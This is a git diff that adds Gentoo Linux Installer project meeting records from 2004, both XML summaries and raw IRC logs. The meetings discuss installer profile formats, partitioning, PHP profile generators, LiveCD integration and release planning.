+Feb 05 20:26:02 <tseng>	no, we dont expect this attempt to fail, certainly
+Feb 05 20:26:03 <Luke-Jr>	karltk: I was using stdin/out between 2 processes as an API. It's possible that the GUIs could be merged to use either API.
+Feb 05 20:26:04 <karltk>	esammer: will you write up the log and post it to -installer?
+Feb 05 20:26:09 <esammer>	karltk: yes
+Feb 05 20:26:13 <karltk>	Luke-Jr: where does it live?
+Feb 05 20:26:22 <tseng>	bion: we've recruited developers from the 3 successful installer projects to lend ideas/expertise
+Feb 05 20:26:28 <Luke-Jr>	karltk: ATM, on my PC.
+Feb 05 20:26:37 <Luke-Jr>	karltk: or in the gentoo CVS Attic
+Feb 05 20:26:51 <karltk>	Luke-Jr: can you mail a snapshot to karltk@gentoo.org, (don't use outlook, or it'll go do /dev/null;)
+Feb 05 20:27:13 <--	Luke-Jr has quit (Client Quit)
+Feb 05 20:27:15 <bion>	tseng: this is going to be xml based?
+Feb 05 20:27:24 <johnm>	karltk: thats quite offensive :)
+Feb 05 20:27:26 -->	Luke-Jr (~luke-jr@198.248.39.176) has joined #gentoo-installer
+Feb 05 20:27:26 <tseng>	bion: a bit, its fairly well outlined in the doc
+Feb 05 20:27:45 <karltk>	johnm: the only outlook mails with attachments I get are virii anyway.
+Feb 05 20:27:52 <bion>	i have read the doc
+Feb 05 20:28:41 <spy|lab>	karltk: http://www.gentoo.org/cgi-bin/viewcvs.cgi/users/luke-jr/ingen/?cvsroot=gentoo
+Feb 05 20:28:45 <Luke-Jr>	karltk: k, but when using be sure you're in a chroot unless you've commented out some code. it does attempt to do part of the install.
+Feb 05 20:28:59 <karltk>	Luke-Jr: will do
+Feb 05 20:29:02 <esammer>	bion: two of the files can be serialized to xml, but i don't think that makes the instaler "xml based"
+Feb 05 20:29:02 <karltk>	spy|lab: thx
+Feb 05 20:29:05 <tseng>	bion: we are mostly looking at xml for the stored profiles
+Feb 05 20:29:27 <johnm>	karltk: i hate how outlook shows pgp signatures as attachments
+Feb 05 20:29:34 <bion>	okay, im stupid, and ask questions in stupid ways
+Feb 05 20:29:42 <tseng>	nps.
+Feb 05 20:29:45 <bion>	the profiles will be stored in xml?
+Feb 05 20:29:52 <tseng>	ideally, yes
+Feb 05 20:29:58 <esammer>	bion: yes.
+Feb 05 20:29:59 <npmccallum>	bion: only if you so desire
+Feb 05 20:30:08 <npmccallum>	the profiles don't have to be stored at all
+Feb 05 20:30:30 <[dx]anti>	Hmm what about profiles stored in a database?
+Feb 05 20:30:32 <bion>	well, i would only use this installer for installing multiple machines easier
+Feb 05 20:30:48 <bion>	so i would no doubtidly need to have stored profiles
+Feb 05 20:30:49 <esammer>	[dx]anti: probably not. it is way too much overhead for something like this.
+Feb 05 20:31:00 <tseng>	[dx]anti: we were looking at profiles stored on rsync
+Feb 05 20:31:07 <esammer>	bion: in taht case, yes.
+Feb 05 20:31:15 <tseng>	for a server farm deal
+Feb 05 20:31:17 <bion>	yes
+Feb 05 20:31:21 <esammer>	bion: out of curiousity, does it matter what format the profiles are in?
+Feb 05 20:31:27 <[dx]anti>	esammer, Well I'm thinking about the environment which I work in, hundreds of thousands of servers. Right now we have Solaris doing a similar kickstart install and pulls down build info off a database.
+Feb 05 20:31:29 <iggy>	is that a no, or a we don't plan on implementing it, but if someone else wants to...
+Feb 05 20:31:50 <--	Luke-Jr has quit (Client Quit)
+Feb 05 20:31:52 <[dx]anti>	esammer, I've been trying to push my company into supporting Gentoo linux, right now we only support RedHat. But things like this installer and Gentoo Enterprise are starting to raise some eyebrows.
+Feb 05 20:31:59 <esammer>	[dx]anti: i'm sure you could customize the installer to do so, yes.
+Feb 05 20:32:00 <bion>	no, but xml would make a php frontend(for example) to reload machines through a request system, extremely easy
+Feb 05 20:32:15 -->	Luke-Jr (~luke-jr@198.248.39.176) has joined #gentoo-installer
+Feb 05 20:32:18 <esammer>	bion: ah, i see.
+Feb 05 20:32:25 <esammer>	bion: then consider it easy! :)
+Feb 05 20:32:30 <bion>	heh
+Feb 05 20:33:34 *	Luke-Jr pokes xchat
+Feb 05 20:33:52 <esammer>	[dx]anti: ideally, you'll be able to extend datasources and things like that to work the way you want.
+Feb 05 20:34:09 <esammer>	[dx]anti: but i don't see *us* adding support for mysql or postgres, atm, no.
+Feb 05 20:35:17 <[dx]anti>	esammer, *us* being gentoo developers?
+Feb 05 20:35:17 <klieber>	[dx]anti: in what case would a database be preferred over flat files wrt this project?
+Feb 05 20:35:38 <esammer>	[dx]anti: the -installer team, yes.
+Feb 05 20:35:41 <klieber>	[dx]anti: unless you're managing *thousands* of profiles, I don't see the added overhead being worth it
+Feb 05 20:35:55 <[dx]anti>	klieber, We do heh
+Feb 05 20:36:10 <bion>	will the profiles be able to be loaded from any location(local, nfs,.. possibly ftp or http?)
+Feb 05 20:36:19 <esammer>	[dx]anti: that said, it's something we'll make possible with subclasses
+Feb 05 20:36:24 <[dx]anti>	klieber, I'm just giving my perspective from where I work hehe
+Feb 05 20:36:26 <esammer>	bion: yes
+Feb 05 20:36:32 <esammer>	bion: http(s), ftp, rsync, etc.
+Feb 05 20:36:38 <[dx]anti>	esammer, yeah
+Feb 05 20:37:00 <iggy>	klieber: OT is -enterprise on irc anywhere?
+Feb 05 20:37:10 <klieber>	it's not enterprise.
+Feb 05 20:37:11 <bion>	is the coding underway? or is the project still in design?
+Feb 05 20:37:14 <klieber>	#gentoo-server
+Feb 05 20:37:25 <esammer>	[dx]anti: now that i think about it, there would be little to stop someone from adding a subclass the profile loader (or whatever) and have it pull from any datasource you'd like.
+Feb 05 20:37:54 <esammer>	bion: this meeting marks the end of the super highlevel design and the beginning of prototype work
+Feb 05 20:38:10 <bion>	where will the home of the project be in cvs?
+Feb 05 20:38:24 <klieber>	gentoo/src/installer
+Feb 05 20:38:28 <esammer>	bion: /gentoo/src/installer
+Feb 05 20:39:53 <[dx]anti>	So what language, Python I would imagine?
+Feb 05 20:39:59 <esammer>	[dx]anti: yes
+Feb 05 20:41:05 <johnm>	esammer: i have a small question If I may, but it's kind of off topic in some respects.
+Feb 05 20:41:49 <esammer>	johnm: shoot
+Feb 05 20:42:49 <enriQUE_>	Anybody having any view on Mozilla/XUl for GUI frontend?
+Feb 05 20:42:56 <johnm>	esammer: Can we make the profiles reusable. in the sense that we can run a seperate profile through a seperate module which will configure the bases system only. the reason i say this is because we can have a daemon style frontend running on the boxes once they're rolled out. and if we so desire using a client tool, we can push profiles out to boxes at different times, and it will make appropriate changes
+Feb 05 20:43:09 <johnm>	ie: turn a webserver into a mail server, style thin
+Feb 05 20:43:32 <johnm>	of course configuration (maybe a file system snapshot style thing) would have to be given as well and thats between server/client mostly.
+Feb 05 20:43:36 <esammer>	johnm: ah, you mean to "diff" two profiles and make changes?
+Feb 05 20:43:45 <johnm>	very similar yes.
+Feb 05 20:43:54 <npmccallum>	enriQUE_, we are not working on GUIs yet because there is no API
+Feb 05 20:44:00 <johnm>	so if you have this running on a network of 10,000 boxes and you want to upgrade them all say
+Feb 05 20:44:14 <johnm>	or turn 2 or 3 into different "profile" boxes you can do it from a central location.
+Feb 05 20:44:17 <johnm>	this is post-install
+Feb 05 20:44:41 *	Luke-Jr thinks that would be a Portage interface...
+Feb 05 20:44:57 <johnm>	distributing the configs for said boxes is a slightly different issues, but the framework for the installer sounds like it could handle the bulk of this work anyways.
+Feb 05 20:45:04 <esammer>	johnm: this was dicussed briefly. klieber was the one who brought it up. i think it's *possible* but may fall outside the scope of the installer. that is more of a system management issue. now, we might extend the installer in that direction at somepoint, but initially, no.
+Feb 05 20:45:12 <johnm>	Luke-Jr: that was the original idea i proposed for portage-ng API. but this is semi-related
+Feb 05 20:45:45 <johnm>	esammer: thats alright, I'm not speaking as an initial design point. but simply, in case portage-ng never gets anywhere or so on.
+Feb 05 20:46:18 <johnm>	esammer: again, i do think you should also concentrate on the portage-ng point i raised a little as well. with it being the next generation of what is essentially the installers most important foundation work.
+Feb 05 20:46:24 <klieber>	johnm: what you just described is (if I"m understanding it correctly) largely what cfengine does/can do.  I'm happy to talk that with you offline if you want.
+Feb 05 20:46:25 <spy|lab>	esammer: klieber brought that up? i thought it was me. maybe we both did
+Feb 05 20:46:25 <esammer>	johnm: personally, i would like to see such management functionality in some application. if the installer 'migrates' that way in terms of features, i won't prevent it, myself.
+Feb 05 20:46:34 <johnm>	esammer: although at this stage it's very much theoretical
+Feb 05 20:46:38 <esammer>	spy|lab: ok, you too :)
+Feb 05 20:46:44 <enriQUE_>	npmccallum: I meant more in a general term. I'm planning to get into how to develop with XUL as an base...
+Feb 05 20:46:54 <johnm>	esammer: my thoughts exactly. it just seems like an appropriate framework
+Feb 05 20:47:13 <johnm>	klieber: yeah it is quite similar to cfengine in many respects :)
+Feb 05 20:47:17 <esammer>	johnm: right.
+Feb 05 20:47:27 <johnm>	klieber: and yeah, i wouldn't mind having a word at some point if thats alright,
+Feb 05 20:47:48 <johnm>	klieber: I've used it briefly, but never had the numbers to actually try it on
+Feb 05 20:48:01 <npmccallum>	enriQUE_, like I said, we won't even start thinking about GUI until there is API
+Feb 05 20:48:05 <esammer>	i think what you're talking about is cfengine + package system integration with network topology awareness. it's neat.
+Feb 05 20:48:25 <enriQUE_>	npmccallum: oki doki... :)
+Feb 05 20:51:00 <esammer>	are there any other questions before i stop logging and close this up "officially?"
diff --git a/xml/htdocs/proj/en/releng/installer/meetings/2004/20040715.xml b/xml/htdocs/proj/en/releng/installer/meetings/2004/20040715.xml
new file mode 100644
index 00000000..379dab02
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/meetings/2004/20040715.xml
@@ -0,0 +1,139 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/releng/installer/meetings/2004/20040715.xml">
+<title>Gentoo Linux Installer Meeting Summary</title>
+<subtitle>15 Jul 2004</subtitle>
+
+<author title="Editor">
+  <mail link="blackace@gentoo.org">Blackace</mail>
+</author>
+
+<abstract>
+The meeting began at 1900 UTC, and the meeting chair was samyron (Scott Myron).
+The primary speaker was samyron.
+</abstract>
+
+<license/>
+
+<version/>
+<date>05 Sep 2004</date>
+
+<chapter>
+<title>General Summary</title>
+<section>
+<title>Meeting Purpose</title>
+<body>
+
+<p>
+samyron stated the purpose for the meeting: "basically, i want to talk about:
+What we've done thus far, what needs to get done in the short term, and what
+long term projects are".
+</p>
+
+</body>
+</section>
+<section>
+<title>Status Quo</title>
+<body>
+
+<p>
+esammer answered the first of samyron's questions: "we've completed a basic
+design, implemented profile objects, controller skeleton, utility functions and
+classes, and done research into some of the more difficult topics such as
+partitioning".
+</p>
+
+</body>
+</section>
+<section>
+<title>Partitioning</title>
+<body>
+
+<p>
+It was decided that partitioning is a stumbling block and as such should be put
+on the "back burner" so other goals can be met.
+</p>
+
+</body>
+</section>
+<section>
+<title>Short Term Goals</title>
+<body>
+
+<p>
+esammer stated some short term goals: "we need to finish the controller with
+networking setup, routing setup, misc file generation (/etc/hosts,
+/etc/conf.d/*, etc...)".
+</p>
+
+<p>
+samyron added: "Other things that I consider important: a way to download the
+profile from a given URI".
+</p>
+
+<p>
+esammer noted that cshields is working on a PHP profile generator, and homer
+volunteered to implement same.
+</p>
+
+<p>
+Along the lines of a profile generator, codeman asked for a complete sample
+profile to be committed to CVS, samyron volunteered one and esammer asked for
+it to be committed as <path>sample_profile.xml</path>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Long Term Goals</title>
+<body>
+
+<p>
+samyron noted that the GLIInstallProfile class is basically done except for the
+partitioning code, and it was agreed to keep that as a long term goal.
+</p>
+
+<p>
+samyron noted that a test frontend is needed to test the installer, and codeman
+volunteered to send samyron some test scripts to build on for that purpose.
+</p>
+
+</body>
+</section>
+<section>
+<title>Meeting Conclusion</title>
+<body>
+
+<p>
+samyron opened the meeting up to questions, comments, and suggestions.
+</p>
+
+<p>
+codeman volunteered further help, samyron accepted the offer.
+</p>
+
+<p>
+homer offered to help build a PHP profile generator, esammer asked homer to
+speak with cshields regarding collaboration on that project.
+</p>
+
+<p>
+There was a small amount of discussion on kernel configuration.
+</p>
+
+<p>
+klieber noted that the Infrastructure project could supply hosting for a
+PHP-based profile generator, and has VMWare GSX Server running in order to
+provide testing environments to the Installer project team members.
+</p>
+
+<p>
+The meeting was adjourned at 2006 UTC.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/releng/installer/meetings/2004/20040715_log.txt b/xml/htdocs/proj/en/releng/installer/meetings/2004/20040715_log.txt
new file mode 100644
index 00000000..80f129ed
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/meetings/2004/20040715_log.txt
@@ -0,0 +1,149 @@
+Jul 15 19:02:04 <homer> [homer@tux]$ date -u
+Jul 15 19:02:04 <homer> Thu Jul  8 19:03:27 UTC 2004
+Jul 15 19:02:11 <homer> :PP
+Jul 15 19:03:25 <cshields> :)
+Jul 15 19:03:36 <cshields> let me track down samyron
+Jul 15 19:04:45 <cshields> who else is around?
+Jul 15 19:04:47 <cshields> esammer?
+Jul 15 19:04:51 <cshields> spyderous?
+Jul 15 19:06:19 ! samyron [~scott@lateralus.ussg.indiana.edu] has joined #gentoo-installer
+Jul 15 19:06:20 <homer> don't worry, i can wait
+Jul 15 19:06:28 <samyron> sorry guys, was in the lab, lost track of time
+Jul 15 19:07:14 <esammer_> pong
+Jul 15 19:08:39 <cshields> esammer_, just a ping on the meeting
+Jul 15 19:08:41 <esammer_> i'm working like crazy at the moment, but i'm here
+Jul 15 19:08:51 <esammer_> cshields: yea, no problem.
+Jul 15 19:09:20 <codeman> i'm lurking at work as well
+Jul 15 19:12:04 <samyron> anyone other than the people who spoke already(homer, esammer_ and codeman), ya here?
+Jul 15 19:13:58 <cshields> so who is in charge of the meeting?
+Jul 15 19:14:20 <esammer_> i believe samyron was the one who called it, correct?
+Jul 15 19:14:22 <samyron> yeah
+Jul 15 19:14:24 <samyron> it was me
+Jul 15 19:14:30 <cshields> you're the man now, dog!
+Jul 15 19:14:41 <esammer_> on the other hand, i think if npm, spy, tseng, and klieber are not here, it might be worth waiting
+Jul 15 19:14:50 <cshields> true..
+Jul 15 19:14:59 <samyron> yeah
+Jul 15 19:15:13 <cshields> klieber is here, you just have to kick him a few times before he squeals
+Jul 15 19:15:18 <esammer_> heh
+Jul 15 19:16:28 <samyron> basically, i want to talk about: What we've done thus far, what needs to get done in the short term, and what long term projects are.
+Jul 15 19:16:45 <samyron> IIRC, there hasn't been a cvs commit in a while
+Jul 15 19:17:47 <esammer_> samyron: yes. where we are is rather simple and what is left to do is also easy to define (relatively speaking)
+Jul 15 19:18:54 <esammer_> we've completed a basic design, implemented profile objects, controller skeleton, utility functions and classes, and done research into some of the more difficult topics such as partitioning.
+Jul 15 19:18:59 <samyron> basically, from what I can see, we're stuck on the partitioning
+Jul 15 19:19:11 <samyron> here is an idea
+Jul 15 19:19:22 <codeman> we can try to work around it
+Jul 15 19:19:26 <samyron> because we're currently 'stuck' on partitioning.. lets back burner it for now. I know it's important
+Jul 15 19:19:27 <samyron> but
+Jul 15 19:19:35 <samyron> we can always partition by hand, then start the installer
+Jul 15 19:19:38 <samyron> not optimal
+Jul 15 19:19:42 <samyron> but it WOULD work for now
+Jul 15 19:19:50 <esammer_> samyron: this is true.
+Jul 15 19:19:51 <codeman> and it would allow us to test other things
+Jul 15 19:19:56 <samyron> codeman: exactly
+Jul 15 19:20:04 <samyron> so basically, let's figure out what else we NEED to do
+Jul 15 19:20:07 <samyron> to get SOMETHING working
+Jul 15 19:20:11 <samyron> w/o the partitioning
+Jul 15 19:20:47 <esammer_> we need to finish the controller with networking setup, routing setup, misc file generation (/etc/hosts, /etc/conf.d/*, etc...)
+Jul 15 19:21:22 <samyron> ok
+Jul 15 19:21:25 <samyron> that's a start
+Jul 15 19:21:37 <samyron> (now there is something to do)
+Jul 15 19:21:52 <samyron> Other things that I consider important: a way to download the profile from a given URI
+Jul 15 19:21:59 <samyron> that should be simple
+Jul 15 19:23:50 <samyron> some sort of profile generator would also be nice, we can probably use "dialog" for that
+Jul 15 19:24:17 <esammer_> right. cshields also was thinking of / working on a php web based profile generator which could be neat.
+Jul 15 19:24:19 <codeman> we can just make  that by hand
+Jul 15 19:24:21 <esammer_> (sorry - phone rang)
+Jul 15 19:24:25 <samyron> no prob
+Jul 15 19:24:28 <esammer_> codeman: or that, yea. :)
+Jul 15 19:24:36 <samyron> codeman: yeah, that's not a problem
+Jul 15 19:24:42 <homer> i can, easily, do a profile generator via web, PHP
+Jul 15 19:24:49 <codeman> it would be nice if someone could throw up a complete sample profile to CVS
+Jul 15 19:24:56 <esammer_> samyron: in short, i agree with what you're saying.
+Jul 15 19:25:11 <esammer_> codeman: that may be good, yes. i can probably work that up.
+Jul 15 19:25:54 <samyron> codeman: alright
+Jul 15 19:26:00 <samyron> codeman: i have a good profile
+Jul 15 19:26:19 <esammer_> samyron: maybe check it in as sample_profile.xml or something
+Jul 15 19:26:29 ! Netsplit niven.freenode.net <-> irc.freenode.net quits: mathiaz
+Jul 15 19:26:29 <samyron> esammer_: alright, not a problem
+Jul 15 19:26:31 ! cshields [~cshields@cshields.developer.gentoo] has quit [Read error: 104 (Connection reset by peer)]
+Jul 15 19:26:46 ! cshields [~cshields@cshields.developer.gentoo] has joined #gentoo-installer
+Jul 15 19:26:52 <cshields> ugh..  sorry
+Jul 15 19:26:57 <esammer_> ;)
+Jul 15 19:27:08 <esammer_>  /kick cshields "Get a real connection, sucka"
+Jul 15 19:27:09 <cshields> esammer, yeah..  I can work up a php interface anytime.
+Jul 15 19:27:19 <codeman> there were a bunch of little mistakes/typos i found when going through the code, who should i send those to?
+Jul 15 19:27:35 <esammer_> codeman: file a bug at bugs.gentoo.org (the GLI module)
+Jul 15 19:27:52 <codeman> i've done that b4.
+Jul 15 19:28:36 <esammer_> :( i haven't been tending to those bugs as i should. ::raises right hand:: i swear to get on the ball abotu those bugs.
+Jul 15 19:28:46 <samyron> hehe
+Jul 15 19:28:53 <samyron> not a huge problem at the moment
+Jul 15 19:29:53 <samyron> at the moment, GLIInstallProfile is pretty much done
+Jul 15 19:29:57 <samyron> except for the partitioning
+Jul 15 19:30:02 <samyron> but we'll get to that when we do
+Jul 15 19:30:16 <samyron> There are a few things in there that might need to be in GLIClientConfiguration
+Jul 15 19:30:24 <samyron> such as set_dns_servers_post
+Jul 15 19:30:33 <samyron> (I might have already taken that out)
+Jul 15 19:31:34 <samyron> We also need something to "drive" the installer
+Jul 15 19:31:48 <samyron> something to open a profile, use it to create a template, etc
+Jul 15 19:31:58 <esammer_> samyron: that should be relatively simple (which was hte idea)
+Jul 15 19:32:13 <samyron> esammer_: yep, definately, but it's still something that needs to be done :-)
+Jul 15 19:32:14 ! cshields [~cshields@cshields.developer.gentoo] has quit [Connection reset by peer]
+Jul 15 19:32:17 <samyron> or at least started
+Jul 15 19:32:19 <esammer_> samyron: yes
+Jul 15 19:32:23 <samyron> so we can start to test various parts of the installer
+Jul 15 19:34:10 <codeman> i have really stupid test scripts i can send to someone to build off of
+Jul 15 19:34:43 ! cshields [~cshields@cshields.developer.gentoo] has joined #gentoo-installer
+Jul 15 19:34:44 <samyron> i'll have quite a bit of time this weekend(my girlfriend is going to be out of town)
+Jul 15 19:34:48 <samyron> so feel free to send me stuff
+Jul 15 19:34:50 <samyron> samyron@gentoo.org
+Jul 15 19:35:29 <codeman> k, will do when i get home tonight
+Jul 15 19:36:49 <samyron> *thinks*
+Jul 15 19:38:37 <samyron> anything anyone want to bring up?
+Jul 15 19:38:38 <samyron> issues?
+Jul 15 19:38:39 <samyron> ideas?
+Jul 15 19:38:42 <samyron> requests?
+Jul 15 19:38:50 <codeman> what else can i do to help?
+Jul 15 19:39:03 ! mathiaz [~mathiaz@207.35.88.98] has joined #gentoo-installer
+Jul 15 19:39:12 <samyron> at this point, anything  you want, if we need it done
+Jul 15 19:39:13 <homer> i want to work with the php profile generator
+Jul 15 19:39:20 <esammer_> unfortunately, i'm too wrapped up in work to really think about it, but i'm quite sure there's other stuff we should discuss... my feeling is more feedback and contributions would be helpful.
+Jul 15 19:39:55 <samyron> homer, codeman: feel free to email me at ANY time to bring up an idea or whatever
+Jul 15 19:39:56 <esammer_> homer: speak with cshields - he was working something out that i'm sure you can get in on
+Jul 15 19:41:31 ! cshields [~cshields@cshields.developer.gentoo] has quit [Read error: 104 (Connection reset by peer)]
+Jul 15 19:41:52 <samyron> cshields is having some trouble with gnomemeeting
+Jul 15 19:44:12 <homer> i need to learn more english :S
+Jul 15 19:44:46 <samyron> it's not that hard :-)
+Jul 15 19:44:47 <samyron> lol
+Jul 15 19:45:04 <samyron> actually, english is a bitch, as i'm learning (and I'm from the USA... studying for the GRE's)
+Jul 15 19:45:26 <codeman> only the chinese do well on the english part of the GREs
+Jul 15 19:45:40 <samyron> yeah, because they memorize all of the words...
+Jul 15 19:45:43 <codeman> they study
+Jul 15 19:45:57 <homer> what is GRE??
+Jul 15 19:46:10 <samyron> graduate record exam... to get into graduate school
+Jul 15 19:49:28 ! mathiaz [~mathiaz@207.35.88.98] has left #gentoo-installer ["Leaving"]
+Jul 15 19:50:18 ! mathiaz [~mathiaz@207.35.88.98] has joined #gentoo-installer
+Jul 15 19:52:30 <samyron> well, this meeting was short, but i think it was a bit productive
+Jul 15 19:52:35 <samyron> know i know what areas need work
+Jul 15 19:52:43 <samyron> and what area we can avoid, for now
+Jul 15 19:53:13 <codeman> how much work does the kernel config need?
+Jul 15 19:53:37 <codeman> iirc, the kernel modules was being a pain
+Jul 15 19:53:47 <homer> yes
+Jul 15 19:54:10 <samyron> codeman: what do you mean?
+Jul 15 19:54:47 <codeman> well i couldn't test it, but it didn't look close to done
+Jul 15 19:57:39 <homer> i will speak with cshields, bye
+Jul 15 19:57:47 <homer> good luck
+Jul 15 19:57:47 ! homer [~homer@173.Red-80-32-161.pooles.rima-tde.net] has quit ["Leaving"]
+Jul 15 19:58:23 <samyron> codeman: test it in what?
+Jul 15 19:59:47 <codeman> my test scripts
+Jul 15 19:59:53 <samyron> ah
+Jul 15 20:05:13 <klieber> sorry I missed the meeting folks.  I had a work meeting that pre-empted it
+Jul 15 20:05:27 <samyron> klieber: no prob
+Jul 15 20:05:35 <samyron> klieber: any ideas, suggestions, requests?
+Jul 15 20:05:39 <klieber> read the backlog -- we can provide hosting stuffs for testing/developing that php profile generator as needed
+Jul 15 20:06:17 <samyron> k
+Jul 15 20:06:17 <klieber> also, we kind of have GSX Server up and running to where we can provide VMWare environments to folks for testing purposes
+Jul 15 20:06:21 <samyron> cool cool
+Jul 15 20:06:36 * samyron was playing w/ the GSX server w/ jrinkovs
+Jul 15 20:06:38 <klieber> samyron: I stress the "kind of" because you need to beat on jrinkovs to get it fully working.
+Jul 15 20:06:55 <samyron> lol
+Jul 15 20:06:56 <samyron> ok
\ No newline at end of file
diff --git a/xml/htdocs/proj/en/releng/installer/meetings/2004/20040912.xml b/xml/htdocs/proj/en/releng/installer/meetings/2004/20040912.xml
new file mode 100644
index 00000000..76a9021f
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/meetings/2004/20040912.xml
@@ -0,0 +1,195 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/releng/installer/meetings/2004/20040912.xml">
+<title>Gentoo Linux Installer Meeting Summary</title>
+<subtitle>12 Sep 2004</subtitle>
+
+<author title="Editor">
+  <mail link="blackace@gentoo.org">Blackace</mail>
+</author>
+
+<abstract>
+The meeting began at 1800 UTC, and the meeting chair was esammer (Eric Sammer).
+The primary speaker was esammer.
+</abstract>
+
+<license/>
+
+<version/>
+<date>17 Sep 2004</date>
+
+<chapter>
+<title>General Summary</title>
+<section>
+<title>Meeting Purpose</title>
+<body>
+
+<p>
+esammer stated the purpose for the meeting: "the reason for this meeting is to
+discuss current status, releng integration efforts, live cd requirements, and a
+release date".
+</p>
+
+</body>
+</section>
+<section>
+<title>Releng Coordination</title>
+<body>
+
+<p>
+zhen took the floor and stated that if the Gentoo Linux Installer can be
+released as an ebuild there will be no problem integrating it into a LiveCD.
+He also stated that the Releng project is flexible to do whatever the Installer
+project requires, including creation of X and CLI LiveCDs.
+</p>
+
+<p>
+zhen opened the floor to questions regarding Releng coordination.
+</p>
+
+<p>
+samyron asked about execution points on the LiveCDs, where the installer should
+start in the LiveCD boot process, and what should occur after the installer
+exits.  zhen answered that the execution points will vary based on the specific
+LiveCDs and that it is up to the Installer project to determine the execution
+specifics.
+</p>
+
+<p>
+esammer noted that the LiveCD requirements would be a future issue, and that the
+only problem he could forsee is being able to run the installer before unpacking
+the stage since as zhen stated earlier "python is not on the livecd and [releng]
+would like to keep it that way for size constraints".
+</p>
+
+<p>
+klieber pointed out "we also need to support both guided and automatic
+installations from the liveCD.  We can't just assume everyone wants a guided
+install".
+</p>
+
+<p>
+esammer noted that there is now a point of contact with the Releng project and
+that this line of communication could be helpful in determining when and how the
+installer should be run from the LiveCDs and what libraries and utilities will
+be required.
+</p>
+
+<p>
+In further discussion of the LiveCD integration, variant suggested that running
+the command <c>installer</c> at any point should start the installer.  In
+response spyderous noted "that doesn't really work for an automated one, though.
+maybe it should check for existence of some kickstart-like file".  samyron noted
+"we have to *standardize* on a filename/location".  esammer suggested that a
+special LiveCD may be needed for automated deployments that might probe devices
+and network interfaces for a configuration.
+</p>
+
+<p>
+codeman asked about parted being on the LiveCDs and esammer pointed out that
+parted has not been decided on as the partitioning tool since there are still
+some architecture issues to be overcome and that it can be discussed outide of
+the meeting.
+</p>
+
+</body>
+</section>
+<section>
+<title>Release Date</title>
+<body>
+
+<p>
+esammer asked zhen what release the Installer project was aiming for, and zhen
+answered "esammer: anything 2005".  zhen stated that 2005 was not yet planned
+and would not be planned until after the 2004.3 release.  klieber suggested
+setting an internal date of Dec 31st and codeman answered that a 
+non-partitioning release could be possible by that date.
+</p>
+
+<p>
+It was then suggested by klieber that if an x86 specific installer could be
+released sooner than a multi-arch installer, that would be preferable.  It was
+then discussed to drop to a shell on architectures it cannot partition in order
+to allow manual partitioning.
+</p>
+
+<p>
+The release date discussion was then postponed in order to discuss current
+code status.
+</p>
+
+</body>
+</section>
+<section>
+<title>Code Status</title>
+<body>
+
+<p>
+codeman reported his success at installing a laptop using some hacked together
+scripts to drive the installer with only 3 interventions.  samyron reported on
+the status of the GLIClientController class, with agaffney suggesting the
+capability to bypass parts of or the whole of the GLIClientController class
+to allow installation from within a chroot.
+</p>
+
+<p>
+samyron expressed a desire to review the arch templates as the current design
+seems unnatural, but it was reiterated that they currently work.
+</p>
+
+<p>
+samyron then summarized the remaining code work, estimating the installer to be
+70% complete:
+</p>
+<ul>
+  <li>Notifications</li>
+  <li>Frontend-Backend Interfacing</li>
+  <li>Testing</li>
+</ul>
+<p>
+esammer noted that he could implement the notification system very quickly.
+</p>
+
+</body>
+</section>
+<section>
+<title>Release Date (continued)</title>
+<body>
+
+<p>
+klieber suggested a public beta before releasing on a LiveCD, and the idea was
+generally accepted.  esammer asked "can we be tested and working for 2005.0?",
+with samyron answering "i'm pretty confident", and codeman answering "we can do
+it".
+</p>
+
+<p>
+klieber also brought up the topic of documentation, with samyron stating he
+would write the API documentation, and esammer stating the end-user
+documentation should wait until things solidify more, with codeman adding there
+were many people who volunteered to help with documentation who did not show up
+to the meeting.
+</p>
+
+<p>
+The release date discussion ended with the target release date as end of year,
+and a possibility of a public beta by the end of November.
+</p>
+
+</body>
+</section>
+<section>
+<title>Open Floor</title>
+<body>
+
+<p>
+No additional questions were brought forth, and the meeting was adjourned at
+1930 UTC.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/releng/installer/meetings/2004/20040912_log.txt b/xml/htdocs/proj/en/releng/installer/meetings/2004/20040912_log.txt
new file mode 100644
index 00000000..4cef4975
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/installer/meetings/2004/20040912_log.txt
@@ -0,0 +1,364 @@
+18:22:45<         esammer@> the reason for this meeting is to discuss current status, releng integration efforts, live cd requirements, and a release date
+18:23:14! samyron [scott@uc-bloom-184-200.dmisinetworks.net] has joined #gentoo-installer
+18:23:20<        agaffney > there's one
+18:23:35<         esammer@> samyron: we're starting now
+18:23:38<            zhen > i have to be out by 3:30, so if we could do the releng stuff relatively soon, that would be great
+18:23:43<         samyron > esammer: sorry, lost track of time!
+18:23:48<         esammer@> samyron: no problem
+18:23:55<         esammer@> ok, let's start with releng
+18:24:17<         esammer@> so, zhen and beejay have been lurking around offering help from releng
+18:24:18<         samyron > k]
+18:24:26<            zhen > yup
+18:24:58<         esammer@> the idea is that we should coordinate for the purposes of releases and live cd work.
+18:24:59<            zhen > esammer: would you like me to talk about the integration efforts and livecd requirements?
+18:25:08<         esammer@> zhen: that would be great, yea.
+18:25:11<         codeman > is dialog on the livecd?
+18:25:20<            zhen > codeman: yes, it should be
+18:25:31<            zhen > codeman: and if it is not, we can always add it
+18:25:32<         codeman > k.  i know python is as well
+18:25:41<         esammer@> zhen: also, if you could let us know what releng is aiming for (your perspective) that would be great too.
+18:25:52<            zhen > python is not on the livecd and we would like to keep it that way for size constraints
+18:25:58<            zhen > esammer: sure
+18:26:13<         codeman > i've run python from the universal livecds b4
+18:26:20<         samyron > yeah, python is on 2002.4
+18:26:22<         samyron > er
+18:26:23<         samyron > 2004.2
+18:26:30<            zhen > integration of the installer project should not be difficult
+18:26:48<         esammer@> ok. zhen has the floor, so let's save questions for the end.
